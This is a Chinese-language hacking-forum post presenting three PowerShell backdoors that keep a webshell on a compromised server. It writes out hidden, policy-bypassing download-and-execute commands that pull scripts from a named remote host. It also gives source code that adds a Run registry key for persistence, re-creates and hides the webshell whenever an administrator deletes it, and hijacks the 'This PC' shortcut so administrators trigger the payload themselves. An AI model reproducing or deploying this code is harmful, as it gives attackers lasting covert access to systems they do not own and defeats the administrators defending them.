后渗透篇：一款不错的PowerShell后门（无毒隐蔽性极强）

这款后门一共有三个模式，下面给大家依次讲解他们的不同，请大家按照需求使用！

第一款

Backd00r-webshell.zip

使用方法：CMD执行

• powershell.exe -nop -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('绝对路径或者远程路径/Backd00r-webshell.ps1');Backd00r-webshell.ps1"
  

复制代码

大家下载之后可以看到这款后门的名字叫做：Backd00r-webshell.ps1

如果你更改了，记得在执行的代码里面也要做更改。

然后来看一下如何修改shell路径，使用笔记本打开Backd00r-webshell.ps1

005017flaqxcppxuxj36lu.jpg (54.31 KB, 下载次数: 105)

下载附件

 保存到相册

2017-6-7 10:23 上传

将这里的路径更改为你的shell绝对路径，当管理员删除了你设置的shell的时候，就会自动生成一个隐藏的木马在该目录下方。（PS：如果再次被删除，还会再次创建）

（另外该款power shell后门还可以放置在远程，也就是说你可以不用将这个文件上传到网站目录，但是请更改一下远程ps1文件中的shell路径，为你当前的所要做后门的shell路径）

第二款

Backd00r-webshell-Auto.zip(730 Bytes, 下载次数: 0)

执行方法：CMD执行

powershell.exe -nop -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('路径或者远程地址/Backd00r-webshell-Auto.ps1');Backd00r-webshell.ps1"

上一款后门在使用的时候会在进程中出现一个power shell的进程，但如果被结束了进程，那么我们的后门就失效了，于是这款后门是加入了开机启动项，开机就能自动生成一个木马到那个目录。

在这里需要修改两个地方，请看源码

• # Date : 2017-06-02
• # Author : ub3r
• # Version : 1.0
• $shell_path = "shell路径，请带上shell名称"
• $shell_content = [System.IO.File]::ReadAllBytes($shell_path)
• $autorunKeyName = "Windows Powershell"
• $autorunKeyVal = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('http://www.chinacycc.com/webshell/Backd00r-webshell.ps1');Backd00r-webshell.ps1"""
• $autoruns = Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
• if (-not $autoruns.$autorunKeyName) {
•     New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName -Value $autorunKeyVal
• }
• elseif($autoruns.$autorunKeyName -ne $autorunKeyVal) {
•     Remove-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName
•     New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $autorunKeyName -Value $autorunKeyVal
• }
• while($true){
•     $flag = Test-Path $shell_path
•     if($flag -eq "True"){ sleep 1 }
•     else{
•         [System.IO.File]::WriteAllBytes($shell_path, $shell_content)
•         $shell = Get-Item $shell_path
•         $shell.Attributes = "Readonly","system","notcontentindexed","hidden","archive"
•         sleep 1
•     }
• }
  

复制代码

$shell_path = "shell路径，请带上shell名称" 修改为你的shell路径，记得带上shell名称

$autorunKeyVal = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('路径，或者远程地址/Backd00r-webshell.ps1');Backd00r-webshell.ps1"""

远程调用地址：http://www.chinacycc.com/webshell/Backd00r-webshell.ps1

第三款

lnk_bakcdoor.zip(1.74 KB, 下载次数: 0)

执行方法：CMD执行

powershell.exe -nop -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('路径，或者远程地址/lnk_bakcdoor.ps1');Backd00r-webshell.ps1"

如果说上面第二款加入开机启动项会被怀疑，那么这一款就是替换掉了我的电脑快捷方式，当管理员点击此电脑，就会执行我们的powershell

说一下我们需要修改的地方

• Function LNK_backdoor{
•     $Command = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('该文件的绝对路径，或者远程路径/Backd00r-webshell.ps1');Backd00r-webshell.ps1"""
•     ##HIDE Computer Icon
  

复制代码

$Command = "powershell.exe -nop -windowstyle hidden -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('绝对路径或者远程地址/Backd00r-webshell.ps1');Backd00r-webshell.ps1"""

远程调用地址：http://www.chinacycc.com/webshell/lnk_bakcdoor.ps1

下面介绍一下该工具的作者，顺带为他的博客打个广告：

博客地址：https://ub3r.cn/

有崇拜了就去找他吧！

-----------------------------------

欢迎各位渗透小白加入我们的小密圈，有问必答！